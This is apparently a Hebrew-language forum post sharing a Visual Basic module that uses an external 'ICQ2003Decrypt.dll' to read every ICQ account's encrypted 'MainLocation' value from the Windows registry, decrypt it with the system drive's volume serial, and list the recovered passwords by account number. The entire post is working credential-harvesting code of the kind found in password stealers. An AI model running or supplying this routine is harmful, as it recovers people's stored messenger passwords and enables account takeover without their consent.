הנה מודול שכתב אינפורן (ישר כח חח) שמשתמש ב-DLL הזה:
קוד:
Const Key = "SOFTWARE\Mirabilis\ICQ\NewOwners"
Const HKEY_CURRENT_USER = &H80000001
Const ERROR_SUCCESS = 0
Const ERROR_NO_MORE_ITEMS = 259&
Private Declare Function GetVolumeInformation Lib "Kernel32" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Sub DecryptPass Lib "ICQ2003Decrypt.dll" (ByVal dwVolumeSerial As Long, lpszMainLocation As Any, ByVal dwMainLocationLen As Long, ByVal lpszUIN As String)
Public Function OpenKey(ByVal SubKey As String, Handle As Long) As Boolean
OpenKey = (RegCreateKey(HKEY_CURRENT_USER, Key + SubKey, Handle) = ERROR_SUCCESS)
End Function
Public Function CloseKey(ByVal Handle As Long) As Boolean
CloseKey = (RegCloseKey(Handle) = ERROR_SUCCESS)
End Function
Public Function GetDriveSerial() As Long
Dim Serial As Long
Dim VName As String
Dim FSName As String
Dim Max As Long
Dim Flags As Long
VName = String$(40, Chr$(0))
FSName = String$(40, Chr$(0))
Call GetVolumeInformation("C:\", VName, 40, Serial, Max, Flags, FSName, 40)
GetDriveSerial = Serial
End Function
Public Function AddPass(ByVal SubKey As String) As String
Dim Buffer(0 To 15) As Byte
Dim strBuf As String
Dim DataType As Long
Dim BufSize As Long
Dim Handle As Long
If Not OpenKey("\" + SubKey, Handle) Then Exit Function
BufSize = 16
If RegQueryValueEx(Handle, "MainLocation", 0, DataType, Buffer(0), BufSize) = ERROR_SUCCESS Then
Call DecryptPass(GetDriveSerial, Buffer(0), BufSize, SubKey)
strBuf = StrConv(Buffer, vbUnicode)
AddPass = Left(strBuf, InStr(1, strBuf, Chr(0)) - 1)
End If
Call CloseKey(Handle)
End Function
Public Function GetPasswords() As String
Dim Handle As Long
Dim KeyIndex As Integer
Dim lpName As String
Dim lpNameLen As Long
Dim S As String
Dim Pass As String
S = "Decrypted passwords:" + vbnewline
If Not OpenKey("", Handle) Then Exit Function
lpName = Space(20)
lpNameLen = 20
KeyIndex = 0
Do While RegEnumKeyEx(Handle, KeyIndex, lpName, lpNameLen, 0, ByVal 0&, 0, 0) <> ERROR_NO_MORE_ITEMS
lpName = Left$(lpName, lpNameLen)
Pass = AddPass(lpName)
If Pass <> "" Then
S = S + lpName + ": " + Pass + vbnewline
End If
lpNameLen = 20
KeyIndex = KeyIndex + 1
Loop
Call CloseKey(Handle)
GetPasswords = S
End Function
[ההודעה נערכה על-ידי tal ב-18/09/2006 09:17:11][ההודעה נערכה על-ידי tal ב-10/10/2006 01:35:01]